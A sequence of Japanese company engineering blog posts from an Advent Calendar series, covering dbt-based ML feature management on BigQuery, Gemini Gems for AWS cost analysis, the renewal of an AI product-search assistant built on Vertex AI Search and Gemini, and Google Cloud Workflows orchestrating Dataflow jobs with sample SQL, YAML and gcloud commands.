こんにちは、AI テクノロ ジー グループ データサイエンティストの髙橋です。業務では企画/分析/ 機械学習 モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。この記事は Enigmo Advent Calendar 2025 の 19 日目の記事です。 本記事では、 dbt を利用した 機械学習 モデルの特徴量管理について紹介します。この特徴量管理を活用することで、 機械学習 を利用したプロジェクトで多くの実験を効率的に実施でき、利益増加というビジネス成果に繋げることができました。 www.getdbt.com 特徴量管理の目的・成果 数多くの特徴量を試す上での課題 dbt による課題解決 dbt による特徴量管理時の工夫 まとめ ※文中に記載する ディレクト リやファイル名、 SQL コード、コマンドなどは全てイメージです。 特徴量管理の目的・成果 dbt を利用した特徴量管理を導入した目的は、ある 機械学習 プロジェクトにて効率的に数多くの特徴量を試す必要があったためです。まず、そのプロジェクトと得られた成果について説明します。 弊社が運営している CtoC ECサービス BUYMA では、MA (Marketing Automation) ツールを通じてクーポンなどの インセンティブ をメールで配布しています。これまで、様々な会員セグメントを定義し、各セグメントに対しての インセンティブ 配布ルールの運用を行っており、そのルールのチューニングで改善を図っていました。このアプローチではルールをもとに一律配布しているため、 機械学習 による最適化余地があると考えました。具体的には、 インセンティブ がなくても購入する会員にもコストをかけてしまったり、 インセンティブ があれば購入する会員に配布できていなかったりなどの最適化の余地があるのではないかと考えました。そこで、 機械学習 を活用してデータに基づくより効果的な インセンティブ 配布を実現することを目指しました。 BUYMA はリリースから 20年を超えるサービスであり、様々な MA シナリオ(会員セグメントと配布ルールの組み合わせを以降 MA シナリオと呼びます)が運用されています。出来るだけ多くの MA シナリオに対して 機械学習 による最適化を適用したく、そのためには様々な特徴量を効率良く試せるようにすべきと考えました。 そこで、今回紹介する dbt を利用した特徴量管理を導入しました。その結果、約1年間でおよそ8個の MA シナリオに 機械学習 による配布最適化を試すことができ、シナリオによってばらつきはあるものの約20%の利益増加が実現できました。 数多くの特徴量を試す上での課題 まず前提として、特徴量は BigQuery で作成する方針としました。理由は、既に BUYMA のデータは BigQuery に保存されていたことと、 Python 実行環境(ノートブックなど)への特徴量作成のもとになる行動データのダウンロードに非常に時間がかかったためです。時間がかかる理由は、 BUYMA は会員数・商品数が非常に多く、それに伴いユーザーの行動ログのデータ量も非常に多いためです。具体的には、会員数1185万人、商品数590万品であり *1 、利用する行動ログのレコード数は数千万件になることもあります。 この前提のもと、BigQuery で数多くの特徴量を効率的に試すには以下の課題がありました。 特徴量の数が多くなると SQL が肥大化して可読性が低下する。 例えば、弊社で過去別の機能で作成した特徴量 SQL ファイルは2000行を超えており読むのが大変でした。 特徴量作成のロジックが複雑になると可読性が低下する 例えば、過去 n 日間の閲覧数という特徴量を複数 n に対して記述すると、 SQL が長くなり可読性が低下します。 別の実験で特徴量を再利用しづらい 再利用する場合は、その特徴量部分を毎回コピペする必要があるためです。 dbt による課題解決 そこで、 dbt を利用して特徴量管理を行うことで、これら課題の解決を図りました まず、 dbt について簡単に説明します。ただし、dbt は多くの機能があるため今回の課題解決に関連する機能に絞って説明します。全体を詳しく知りたい方は 公式ドキュメント を参照ください。 今回役立ったのは以下の機能です。 SQL ファイルの分割 for などのロジックの記述 SQL ファイルの分割について、dbt を利用することで CTE (Common Table Expression) を別のファイルに分けることができます。例として、以下のような CTE を使った SQL を考えます。 -- main.sql WITH users AS ( SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` ) SELECT * FROM users dbt を利用することでこの SQL を2つのファイルに分けることができます。 -- user.sql SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` -- main.sql SELECT * FROM {{ ref( " user " ) }} ここで、 {{ (ref("user")) }} は user. sql を参照することを意味します。 dbt run コマンドを実行すると、 user.sql 、 main.sql のテーブルビューが作成されます。この機能を利用することで、特徴量作成などの SQL を分割して可読性を向上させることが出来ます。具体的には、以下のように SQL ファイルを分割しました。 models ├── datasets │ └── dataset.sql └── features │ ├── features_user_attributes.sql │ └── features_user_action_log.sql └── labels ├── label_type_1.sql └── label_type_2.sql ここで、 models ディレクト リは dbt でデータ取得のための SQL を配置する ディレクト リです。 *2 各 datasets ファイルの中身は以下のようにしました。 SELECT * FROM {{ var( " user_ids_table_name " ) }} LEFT JOIN {{ ref( " features_user_attributes " ) }} USING (user_id) LEFT JOIN {{ ref( " features_user_action_log " ) }} USING (user_id) LEFT JOIN {{ ref( " label_type_1 " ) }} USING (user_id) ここで、 var は dbt で利用できる変数です。 *3 様々な会員セグメントについて実験するために、セグメントごとの会員 ID を別テーブルにあらかじめ保存しておき、変数として切り替えられるようにしました。 features ディレクト リ配下のファイルは意味がある粒度で特徴量を分けて再利用しやすくしました。また、 機械学習 の目的変数である label も複数パターン試せるようにしました。 こうしたことで、実験が進むごとに特徴量が増加しても、 SQL が肥大化して読みにくくなることを防げました。具体的には、1つの SQL ファイルあたり長くとも約100行におさまるようになりました。また、 dataset.sql を見ればどのような特徴量が利用されているかが一目で分かるようになりました。 for などのロジックの記述について、dbt では Jinja というテンプレートエンジン の記法で for などのロジックを記述することができます。これを利用して、例えば過去 1、3、7日間の閲覧、お気に入り回数の集計は以下のように記述できます。 {%- set agg_actions = [ " view " , " like " ] -%} {%- set last_n_days = [ 1 , 3 , 7 ] -%} SELECT user_id, {% for agg_action in agg_actions %} {% for last_n_day in last_n_days %} COUNTIF( day_from_base_date <= {{ last_n_day }} AND action = " {{ agg_action }} " ) AS cnt_action_{{ agg_action }}_last_{{ last_n_day }}_days, {% endfor %} {% endfor %} FROM `project.dataset.user_action_log` GROUP BY user_id ここで、簡単のために user_action_log テーブルに特徴量作成の基準日から何日前のログかを示す day_from_base_date カラムが存在すると仮定しています。これを通常の SQL で記述すると以下のようになります。 SELECT user_id, COUNTIF( day_from_base_date <= 1 AND action = " view " ) AS cnt_action_view_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " view " ) AS cnt_action_view_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " view " ) AS cnt_action_view_last_7_days, COUNTIF( day_from_base_date <= 1 AND action = " like " ) AS cnt_action_like_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " like " ) AS cnt_action_like_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " like " ) AS cnt_action_like_last_7_days FROM `project.dataset.user_action_log` GROUP BY user_id 比較してみると、 dbt を利用することで SQL が短くなり、かつ変数を定義できるためどの行動を過去何日分集計するかが一目で分かるようになりました。これにより特徴量が複雑になっても可読性が低下することを防げました。また、集計する日数や行動が増えたとしても、変数のリストに要素を追加するだけで対応できるようになりました。 dbt による特徴量管理時の工夫 より多くの特徴量を素早く試せるように行った工夫があるため、それらも紹介します。ここでは2つ紹介します。 1つ目はデー タセット 管理表を用意し、実験で利用するデー タセット ごとに ID を採番し、 dataset_001 、 dataset_002 のようにファイルを作成していく方針としたことです。 デー タセット 管理表のイメージ: デー タセット ID デー タセット 説明 1 セグメント1に対して特徴量 A を利用したデー タセット 2 セグメント2に対して特徴量 A, B を利用したデー タセット 作成したファイルのイメージ: models └── datasets ├── dataset_001.sql └── dataset_002.sql こうすることで、新しいデー タセット を簡単に追加できるようにし、かつ過去のデー タセット も参照しやすくしました。実際に2025年12月時点ではデー タセット ID は 100 を超えていますが、問題なく運用出来ています。 2つ目は dbt で作成したテーブルのビューから Python 実行環境でデータを取得する際は、以下のような SQL で一度 GCS にエクスポートしてダウンロードするようにしたことです。これは、 Python で BigQuery SDK を利用してデータ取得するとレコード数が多い場合非常に時間がかかるためです。 -- analyses/export_dataset.sql {%- set bucket_folder = " datasets/ " + var( " dataset_id " ) -%} {%- set table_name = target.database + " . " + target.schema + " . " + " dataset_ " + var( " dataset_id " ) -%} -- BigQuery の export data 構文において _table_suffix を含んでいるとエラーが発生するため -- CREATE TEMP TABLE 構文を利用。 -- https://stackoverflow.com/a/70033601 CREATE TEMP TABLE temp_dataset AS ( SELECT * FROM {{ table_name }} ); EXPORT DATA OPTIONS ( uri = " gs://{{ var('bucket_name') }}/{{ bucket_folder }}/*.gz " , format = " Parquet " , overwrite = true , compression = " GZIP " ) AS ( SELECT * FROM temp_dataset ); ここで、GCS バケット 名やフォルダ、エクスポートするデー タセット ID を dbt 変数としており、これによりデー タセット によってエクスポート先を変更できるようにしました。また、この SQL はテーブルビューを作成する必要がないため、 analyses ディレクト リに配置して、以下のコマンドで コンパイル して実行するようにしました。 dbt compile \ --select analyses/export_dataset.sql \ --vars ' {bucket_name: "your_bucket_name", bucket_folder: "your_bucket_folder", dataset_id: "001"} ' && \ bq query < target/compiled/your_dbt_project_name/analyses/export_dataset.sql ここで、 dbt compile コマンドは Jinja 記法などを解決して実行可能な SQL に コンパイル するコマンドであり、 コンパイル されたファイルは target/compiled 配下に保存されます。また、 dbt の analyses ディレクト リとは models ディレクト リとは異なり一時的な分析用 SQL などを配置するのに適したものになります。 *4 まとめ 本記事では、dbt を利用した特徴量管理について紹介しました。 SQL の肥大化や特徴量の再利用しづらさという課題を、 SQL ファイルの分割や for などのロジック記述により解決しました。また、デー タセット 管理の方法や Python 実行環境でのデータ取得の高速化というより効率的に多くの特徴量を試す方法も紹介しました。これにより、複数の MA シナリオに対して 機械学習 を利用した インセンティブ 配布最適化を試すことができ、利益増加という成果に繋げることが出来ました。 本記事が特徴量管理の参考になれば幸いです。 明日の記事は BUYMA TRAVEL のエンジニアの 赤間 さんです。お楽しみに! 株式会社 エニグモ すべての求人一覧 hrmos.co *1 : 2025年10月末時点の数値です。 https://enigmo.co.jp/ir/ *2 : dbt models について詳細は dbt 公式ドキュメント を参照ください。 *3 : dbt の変数について詳細は dbt 公式ドキュメント を参照ください。 *4 : dbt analyses について詳細は dbt 公式ドキュメント を参照ください。
アバター
こんにちは、インフラエンジニアの森田です。 この記事は Enigmo Advent Calendar 2025 の 14日目の記事です。 今回は、業務効率化のために Google Geminiのカスタム指示(Gems)を作成し、 実際の業務で使ってみた使用感や気づきについて紹介します。 どのような業務に活用したか 私は直近で AWS のコスト削減に取り組んでいます。 特にSavings Plansなどを購入する際、 複数アカウント のオンデマンドコストと推奨コミット額を見比べ、 その購入計画が適切かを整理する必要がありました。 これを人力で行うのは 工数 もかかり、ミスのリスクもあるため「辛い」作業でした。 そこで、Savings Plans推奨事項の CSV ファイルと、 Cost Explorer から CLI で取得した JSON ファイルを読み込ませることで、 コミット額の適切性検証とコストメリットの整理を行ってくれるGemsを作成しました。 結果として、 非常に良好な感触 を得られました。 やはり、複雑な数値の突き合わせや計算は計算機(AI)に任せるのが一番です。 本記事では、実際にツールを作ってみて「気をつけると良い点」と、 組織で運用する上で「課題だと感じた点」を共有します。 カスタム指示(Gems)作成のポイント コスト削減アシスタントGemsを作成する過程で、特に重要だと感じたポイントは以下の3点です。 1. 具体的な使い方の説明(ガイド)を含める スクリプト と異なり、対話形式で進むため、 初見のユーザーでも迷わないよう「利用手順」を指示に含めておくと親切です。 今回はデータを読み込ませて分析するツールなので、 以下のようにデータの取得手順を案内させるようにしました。 ## 0. ユーザーサポート / 使い方ガイド ユーザーから「使い方を教えて」「何が必要?」と問われた場合、または挨拶のみでデータが未提供の場合は、以下の3ステップのデータ取得手順を案内してください。 ### 手順1: 推奨事項CSVのダウンロード (AWS Console) <取得手順を記載> ### 手順2: 直近のオンデマンド料金取得 (AWS CLI) <取得手順を記載> ### 手順3: データの取得 <取得手順を記載> 2. 入出力のイメージを厳密に定義する 曖昧な指示だと、実行のたびにAIの解釈が変わり、 出力フォーマットがブレて使いづらくなります。 AIに勝手な解釈をさせないよう、入力データの処理ルールと出力形式を 以下のように固定することをお勧めします。 入力ルールの例: ## 2. 入力データの処理ルール 以下のデータがテキストまたはファイルとして与えられます。 1. **推奨事項 (CSV):** ` savings-plans-recommendations.csv ` * ここから「アカウントID」「推奨コミットメント額($/h)」「推定削減率」を抽出します。 2. **実績コスト (JSON):** ` ec2_ondemand_daily_filtered.json ` (Cost Explorer出力) * **安全性判定:** ` 推奨コミットメント額($/h) × 24h ` が ` 日次実績コスト(過去30日間の最小値) ` を下回っているか確認してください。実績を下回っていれば「安全(使い切れる)」、上回っていれば「注意(使い切れないリスクあり)」と判定します。 (略) 出力ルールの例: 必ず以下の **【出力1】** 〜 **【出力3】** の形式で出力してください。 ----- ### 【出力1】 <出力1の構造を指示する> (略) 3. 複雑なファイルは「キャプチャ画像」で読ませる 複雑なレイアウトの Excel やPDFファイルは、 テキスト抽出時に構造が崩れ、正しく解析できない場合があります。 そのような場合、 対象箇所のキャプチャ画像を撮って画像を読ませる 方が、 精度が高くなるケースがありました。 テキストでの読み込みで精度が出ない場合は、「画像を読ませる」という選択肢を 頭の片隅に置いておくと良いでしょう。 管理・運用上の懸念点 個人のツールとしては優秀なGemsですが、これを「会社の資産」として管理しようとした際、 いくつか課題も見えてきました。 変更履歴が見えない 作り込んだカスタム指示は長文になりがちですが、現状のGemsには変更履歴(Diff)を見る機能がありません。 「誰が・いつ・なぜ変更したか」が追えないため、チーム開発には不向きです。 GCP のVertex AI AgentsであればTerraform等で管理可能ですが、 Gemini(Gems)単体では難しいため、現状は 「プロンプトの内容をテキストファイルとしてGitで管理し、変更時はGitを通してから手動でGemsを更新する」 という運用が現実解になりそうです。 スマートではありませんが、資産管理としては必要です。 作成者のアカウント削除でGemsも消える Gemsの実体は、作成者の「マイドライブ/Gemini Gems/」配下に保存されるファイルとして扱われるようです。 そのため、作成者が退職等でアカウント削除されると、 マイドライブ内のデータと共にGemsも消失してしまいます。 これを回避するために共有ドライブへの集約を試みましたが、 共有ドライブ上のGemsファイルを開こうとするとエラーが発生しました(下図参照)。 現状では、誰か個人のマイドライブに配置されている必要がありそうです。 共有ドライブ上のGemsを開いた際のエラー モデル更新による挙動の変化(AIドリフト) これはLLMを利用する全般的なリスクですが、バックエンドのモデルが更新された際、 以前と同じプロンプトでも挙動が変わる可能性があります。 ChatGPTのCustom GPTsのようにモデルバージョンを固定する機能は、現状のGemsには見当たりません。 影響を最小限にするためには、前述の通り「入出力を厳密に定義」してAIの解釈の幅を狭めておくことが重要です。 また、モデル更新のアナウンスがあった際は、簡単な動作確認フローを設けるのが良いでしょう。 まとめ スプレッドシート でオンデマンドコストとコミットコストを整理して購入計画を立てていたときは2,3日かかっていたところ、 業務特化型のGemsを作成することで、正味1時間あれば整理が完了するようになり大幅に効率化することができました。 一方で、チームや組織で永続的に管理・運用していくには、 バージョン管理やオーナー権限の面でまだ工夫が必要だと感じています。 今後、 Google Workspaceの機能アップデートにより、 これらの管理機能が強化されることを期待しつつ、 まずはGit管理などの運用ルールでカバーしながら活用していきたいと思います。
アバター
こんにちは、AIテクノロ ジー グループのエンジニアの吉田です。 本記事は Enigmo Advent Calendar 2025 の 18日目の記事です。 普段は検索システム全般、 機械学習 システムのMLOps、AI関連の機能開発を担当しております。 この記事では「AIでさがす」サービスのリニューアルについて紹介します。 「AIでさがす」サービスとは 「AIでさがす」サービスは、 BUYMA のWebサイトおよびアプリで提供している、AIを活用した商品提案サービスです。 実際の機能は以下からご利用頂けます。( BUYMA アカウントでのログインが必要となります。) 「AIでさがす」サービス ユーザーが文章で質問すると、AIが質問内容を理解し、おすすめの商品を提案します。例えば「春のデートにぴったりなワンピースを教えて」といった質問に対して、AIが回答文とともに具体的な商品を紹介します。 従来のキーワード検索では見つけにくかった商品や、ユーザー自身が気づいていなかった新しい商品との出会いを提供することで、 BUYMA でのショッピング体験をより豊かにすることを目指しています。 ※商品画像はモザイク加工しております。 リニューアルの背景 旧システムは、ChatGPT API を活用した商品提案サービスでしたが、主な課題が3点ありました。 BUYMA の知識不足 ChatGPT が一般的な知識で回答を生成するため、 BUYMA ならではのトレンドや商品特性を反映できない。 根拠の不明確さ ChatGPT の回答に 参照元 がない。 検索キーワード生成の精度 形態素解析 ツールの MeCab を併用していましたが、文脈や意味を理解した検索キーワード生成ができない。 また、リリースから2年が経過し、本格的にバージョンアップが必要なタイミングでもありました。 ※旧システムの詳細は こちらの記事 で紹介しております。 ちょうどチームメンバーが社内ドキュメントのAI検索システムを開発しており、この仕組みを BUYMA の多数の記事コンテンツに適用すれば、より BUYMA らしい商品提案が可能になると考えました。 そこで、今回のリニューアルでは、 BUYMA 内の記事コンテンツ群をベースに会話するエージェントを作成しました。これにより、 BUYMA ならではの知識を持ったAIが、より BUYMA でおすすめしたい商品を提案できるようになりました。 システム変更前後の比較 旧システムと新システムの違いは以下の通りです。 旧システムでは、ChatGPT が一般的な知識で回答を生成し、 MeCab による単純な 形態素解析 で検索キーワードを生成していました。そのため、 BUYMA ならではの文脈を理解した商品提案が難しい状況でした。 新システムでは、 BUYMA 内記事コンテンツを参照した Vertex AI Search が回答文を生成し、Gemini が文脈を理解した検索キーワードを生成します。その結果、より BUYMA らしい商品提案が可能になりました。 それぞれの処理フローは以下の通りです。 旧システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を ChatGPT API に送信 ChatGPT が回答文とおすすめアイテムリストを生成 アイテム名を MeCab ( 形態素解析 )で解析し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 新システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を Vertex AI Search に送信 Vertex AI Search (事前に BUYMA 内記事コンテンツをインポート済み)が回答文を生成 質問文と回答文を Gemini に送信し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 アーキテクチャ ー特徴 1. Vertex AI Search Vertex AI Search を利用して、インポートした BUYMA 内記事コンテンツをベースに会話を行うエージェントを構築しました。 BUYMA 内記事コンテンツのインポート 約4000件の記事をデータストアにインポート プロンプト設計 「ファッション ECサイト BUYMA のショッピングアドバイザー」として定義し、ユーザーの質問に対して最適な商品を提案する形で回答を生成 2. Gemini Gemini を活用する事により、会話内容から商品検索キーワードを生成する機能を作成しました。 プロンプト設計 「 ECサイト の検索キーワードを生成する専門家」として定義し、会話の文脈を理解して検索キーワードを生成 MeCab との違い MeCab は単語の分解のみだが、Gemini は文脈を理解してブランド名・カテゴリ名・モデル名を組み合わせた検索キーワードを生成 実装時の課題・解決策・工夫した点 Vertex AI Search の幻覚への対応 初回質問時に Vertex AI Search が過去から質問が続いているような幻覚を見る場合がありました。当初は初回と2回目以降の会話を共通のプロンプトで行っており、「ユーザーの過去の質問履歴」の項目に入っている文言の有無から初回なのか、2回目以降の会話なのかを判断する指示を出していました。ところが、「過去」という文言に引きずられてなのか、初回なのに過去の質問をAI側が捏造して、その続きとして回答する場合が稀にありました。 プロンプトテンプレートを初回用と2回目以降用の2種類に分け、初回用のプロンプトからは「ユーザーの過去の質問履歴」の文言自体を削除する事によって対応しました。 敵対的クエリへの対応 敵対的クエリ(不適切な質問)の場合、Vertex AI Search の API からのレスポンスフォーマットが通常とは異なるものになり、要約が生成できないにもかかわらず、無理やり商品紹介を行ってしまいました。 敵対的クエリーのフォーマットを検知した場合は、要約失敗として扱い、商品紹介を行わないように修正しました。 この場合以外でも稀に異なるフォーマットのレスポンスになる場合があり、サービス継続に支障が出ないように都度改善を行いました。 Gemini のライブラリ移行 もともと使用していたライブラリがサポート終了を迎えるため、社内では実績がない新しいライブラリに移行する必要がありました。移行後、従来使用していた Gemini モデルが初期設定では使用できず、次世代のモデルを試したところレスポンスタイムが大幅に遅くなってしまいました。新しいライブラリという事もあり、AIツールではなかなか解決できず、最終的には Google サポートに問い合わせして解決に至りました。 得られた学びとノウハウ AIツールの活用と限界 「AIでさがす」のバックエンド API の リポジトリ は、ほぼ全部作り直したのですが、AIツールを活用する事によって、 工数 を節約する事ができました。Terraform 関連のリソース修正、テストケース作成やMOCK用のフロントエンド実装等においてもAIツールにより大幅な 工数 削減ができました。 一方で、Gemini のライブラリ移行など、ドキュメントの記載やインターネット上での知見が少ない領域ではAIツールでは解決できず、結果的に公式サポートへの問い合わせが必要でした。 AIの不確定な挙動への対応 Vertex AI Search の幻覚や部分的な失敗など、AIサービス特有の不確実性に対して、初回用と2回目以降用でテンプレートを分けるなど、細かな調整が重要でした。また、プロンプトだけではどうする事もできない場合があり、そのような場合は後処理でルールベースのロジックを追加する必要がありました。 効果測定 リニューアル後、以下のような指標が上昇しました。 1スレッドあたりの質問数の平均 会話の継続性が向上し、ユーザーが複数回質問を続けるようになりました。 1ユーザー1日あたりの質問数 利用頻度が向上し、ユーザーがより積極的に機能を活用するようになりました。 検索URLに遷移された回数 商品検索への誘導効果が向上し、実際の商品閲覧につながるケースが増加しました。 これらの結果から、 BUYMA 内記事コンテンツを根拠とした回答の提供と、文脈を理解した検索キーワード生成により、ユーザーの満足度と利用価値が向上したと考えられます。 直近の対応/今後の展開・課題 金額絞り込み機能の追加(今月対応) ユーザーからの要望が多い金額絞り込み機能の対応をしました。価格帯に関する質問に対して適切な商品提案ができていない課題があったため、Gemini で検索 API 用の金額フィルタークエリを生成することで対応しました。 コンテンツの拡充 現在は BUYMA 内記事コンテンツのみを Vertex AI Search にインポートしていますが、今後は YouTube での発信内容も追加する予定です。記事以外のコンテンツも活用することで、より幅広い情報をユーザーに提供できるようになります。 継続的なメンテナンス AIのライブラリやモデルは随時更新されていくため、継続的なメンテナンスが課題となります。特に Gemini や Vertex AI Search などのサービスは進化が早く、新しいモデルへの対応や非推奨ライブラリ/バージョンから移行など、定期的な見直しが必要です。 まとめ 本記事では、「AIでさがす」サービスのリニューアルについて紹介しました。 旧システムでは ChatGPT と MeCab を使用していましたが、 BUYMA 特有の知識不足や根拠の不明確さなどの課題がありました。リニューアルでは Vertex AI Search と Gemini を採用し、 BUYMA 内記事コンテンツを根拠とした回答生成と文脈を理解した検索キーワード生成を実現しました。 実装時には敵対的クエリへの対応やAIサービス特有の不確実性への対処など様々な課題に直面しましたが、ロジックでの細かい制御やAIツールの活用により解決できました。リニューアル後は会話継続性や利用頻度、商品検索への誘導効果が明らかに向上しています。 明日の記事は同じAIテクノロ ジー グループの髙橋さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co
アバター
こんにちは、AIテクノロ ジー グループの太田です。 普段は商品のカタログデータ基盤を開発・運用するチームで業務に携わっております。 エニグモ ではそういったデータやAI関連の技術基盤として GCP を利用しており、そこで利用したWorkflowsについて紹介したいと思います。 この記事は Enigmo Advent Calendar 2025 の17日目の記事です。 1. はじめに:なぜこの構成に至ったか 2. Goolge Cloud 構成:全体アーキテクチャ概要 3. 技術選定:なぜ Cloud Composer ではなく Workflows なのか 4. 実装サンプル:Workflows から Dataflow を起動する 5. Workflows を採用する上で許容した「不便な点」 6. まとめ 1. はじめに:なぜこの構成に至ったか 背景 毎日追加・更新される商品データを Vector Search のインデックスに反映させる必要があった。 Cloud Composer (Airflow) の利用実績はあったものの、より安価な Workflows に興味があった。 課題 「差分抽出 → 画像処理(Embedding) → インデックス更新」という一連のフローを毎日決まった時間に実行したい。 各処理ステップ(特に画像処理とインデックス更新)は時間がかかるため、 タイムアウト やリトライ制御を考慮する必要がある。 当然コストは抑えたい。 結論 Cloud Composer を使わず、Workflows + Cloud Scheduler を採用することで、管理コストと金銭的コストを最小限に抑えた アーキテクチャ を構築した。 ポイントは、重たい処理(画像処理・インデックス更新)は Dataflow に任せ、Workflows はあくまで「順序制御」に徹する構成にしたことです。 2. Goolge Cloud 構成:全体 アーキテクチャ 概要 処理の流れは次のとおりです。 Cloud Scheduler 毎日定時に Workflows をトリガー。 Workflows: 全体の指揮者。以下のステップを順次実行。 BigQuery: 前日データとの差分を SQL で抽出。 Workflows: 画像の Embedding 計算とGCSへの保存を実行する Dataflow を実行する。 Workflows: Vector Search のインデックス更新を実行する Dataflow を実行する。 ポイントは、長時間実行かつ単発で実行する機会がある Dataflow の実行を別の Workflows に委ね、メインの Workflows から別の Workflows を呼び出すようにしたことです。 Dataflowの実装については、本記事の趣旨から外れるので省略いたします。 3. 技術選定:なぜ Cloud Composer ではなく Workflows なのか このセクションで、他の選択肢と比較し、なぜ今回の構成に至ったかを解説します。 比較項目 Workflows Cloud Composer 特性 サーバーレスで軽量、直線的なフローに最適 複雑な依存関係に強いが、常時稼働が必要 コスト 安価(実行回数課金) 1000ステップ0.01ドル 1 Google Cloud 外へのアクセスを要する場合は1000ステップ0.025ドル 高い(小規模でも月額数万円〜) 2 実際に月額約8万円かかっています 採用/不採用の決め手 今回の処理が「直線的」であり、複雑なDAGが不要だったため 日次バッチ一つに対してはオーバースペック 運用実績があったからといって、「とりあえず Airflow」とせずに、ワークフローの複雑さに応じてツールを選定できた点が良かったです。 実際に使ってみて、単純な A -> B -> C というフローなら Workflows の方が圧倒的に運用・コストメリットが大きいことが実感できました。 4. 実装サンプル:Workflows から Dataflow を起動する ここでは、実際に Workflows を使って Dataflow ( Flex Template) を起動するための定義( YAML )を紹介します。 【コード解説のポイント】 Dataflow の Flex Template を利用することで、Docker イメージ化したジョブをパラメータ付きで呼び出せます。 Workflows 側でジョブの完了を待機する(ポーリングする)ようにしました。 googleapi 3 で Dataflow 以外の各種 Google Cloud のプロダクトへアクセスすることができるので、参照してみてください。 【サンプルコード( YAML )】 実際に作成した Dataflow を起動する Workflows の定義ファイル(main. yaml )の一部を掲載します。 main. yaml の抜粋イメージ steps : - init : assign : - project_id : ${sys.get_env("GOOGLE_CLOUD_PROJECT_ID")} - location : "asia-northeast1" - job_name : "dataflow-launcher" # デプロイするときに --set-env-vars で設定した環境変数をここで読み込む - sdk_container_image : ${sys.get_env("sdk_container_image")} - gcs_bucket : ${sys.get_env("gcs_bucket")} # YYYYMMDD 形式の日付 - ymd : ${text.replace_all(text.split(time.format(sys.now()), "T" )[ 0 ], "-" , "" )} # 画像処理をするので時間がかかる Dataflow を実行するステップ - dataflow_start_crop_embedding : call : googleapis.dataflow.v1b3.projects.locations.flexTemplates.launch args : projectId : ${project_id} location : ${location} body : launchParameter : jobName : ${job_name + ymd} containerSpecGcsPath : ${gcs_bucket + "/templates/your-template-spec.json" } parameters : sdk_container_image : ${sdk_container_image} environment : stagingLocation : ${gcs_bucket + "/templates/staging" } tempLocation : ${gcs_bucket + "/templates/temp" } serviceAccountEmail : ${Dataflow 実行権限を持つ Service Account} result : dataflow_result next : initialize_polling # 以下、Dataflow を完了まで監視するステップ # ループした回数だけステップ数が増えてコストも増えていくのでループ数には注意してください。 - initialize_polling : assign : - counter : 0 # "max_retries * 60秒 (wait_60_secondsで定義) = 1時間"なので、最大1時間ポーリングを行う。 - max_retries : 60 next : poll_job_status - poll_job_status : call : googleapis.dataflow.v1b3.projects.locations.jobs.get args : projectId : ${project_id} location : ${location} # run_dataflow_job ステップの return から参照できる。 jobId : ${dataflow_result.job.id} result : job_status next : check_job_status - check_job_status : switch : - condition : ${job_status.currentState == "JOB_STATE_DONE" } next : job_succeeded - condition : ${job_status.currentState == "JOB_STATE_FAILED" or job_status.currentState == "JOB_STATE_CANCELLED" } raise : ${"Dataflowジョブ " + dataflow_result.job.id + " が失敗しました。ステータス " + job_status.currentState} - condition: ${counter >= max_retries} raise: ${" Dataflowジョブ " + dataflow_result.job.id + " が1時間以内に完了しませんでした。タイムアウト。"} - condition : ${ true } next : increment_counter - increment_counter : assign : - counter : ${counter + 1 } next : wait_60_seconds - wait_60_seconds : call : sys.sleep args : seconds : 60 next : poll_job_status - job_succeeded : return : "SUCCESS" 【サンプルコードをデプロイ】 作成した Workflows の定義ファイルをデプロイ 4 します。 gcloud workflows deploy sample_workflow \ --source=main.yaml \ --location="asia-northeast1" \ --project=${PROJECT_ID} \ --service-account=${SERVICE_ACCOUNT_EMAIL} \ --set-env-vars sdk_container_image=${Artifact Registry にpushしたdockerイメージ} \ --set-env-vars gcs_bucket="gs://YOUR_BUCKET" \ 【サンプルコードを実行した結果】 ループしているので実際に実行されたステップ数は137でした。 コストは 137 * 0.01 / 1000 = 0.00137 ドルになります。 5. Workflows を採用する上で許容した「不便な点」 コストと手軽さは魅力的ですが、導入に際しては以下のデメリットも考慮する必要がありました。 開発体験のクセ( YAML 地獄) 課題 Python で記述できる Airflow と異なり、Workflows は YAML (または JSON ) でロジックを記述する必要があります。条件分岐やループ処理、変数の扱いが直感的ではなく、構文エラーに悩まされることが多いです(一般的に " YAML engineering" と揶揄される部分)。 対応 今回は「直列的なフロー」に留めることで複雑な記述を回避しました。複雑なロジックが必要な場合は、無理に Workflows 内に書かず、Cloud Functions や Dataflow に逃がす設計が重要です。 ローカルテスト・ デバッグ の難易度 課題 Cloud Composer (Airflow) はローカル環境を構築可能なので DAG のテストが可能ですが、Workflows は クラウド 上のリソースと密結合しているため、ローカルでの完全な再現・テストが困難です。「修正してデプロイして実行」のサイクルになりがちです。 対応 ステップごとの 単体テスト は諦め、 結合テスト 中心で進める割り切りが必要でした。 また、別の Workflows に分割することで、ステップごとに運用できるように対応しました。 ステップ間のデータ受け渡し制限(メモリサイズ) 課題 Workflows は大規模なデータをステップ間で直接受け渡すこと( ペイロード サイズ制限)には向いていません。 対応 今回の設計では、画像データそのものや大量のリストは Workflows 上を通過させず、必ず GCS のパスや BigQuery のテーブル名といった「参照情報」のみを受け渡すように徹底しました。 ベンダーロックイン 課題 Airflow は OSS 標準ですが、Workflows は Google Cloud 固有のサービスです。将来的に他の クラウド へ移行する場合、ポータビリティがありません。 対応 今回は GCP 完結のシステムであり、フルマネージドの恩恵(管理レス)を最優先しました。 6. まとめ Workflows + Cloud Scheduler の組み合わせにより、日次の Vector Search インデックス更新を完全自動化できました。 コスト面以外では、インフラ管理コスト(Cloud Composer の環境維持など)を削減し、本質的なロジック開発に集中できることが Workflows の大きなメリットに感じました。 デメリットで YAML 記法に言及しましたが、逆に言えば、どなたでも気軽に試してみることができるとも言えます。コストも軽いのでこれを機に是非一度お試しください。 読者の皆様がこれで良い体験を得ることができましたら私としても大変嬉しく思います。 明日18日目はAIテクノロ ジー グループの吉田さんです。 https://cloud.google.com/workflows/pricing?hl=ja#price-tables 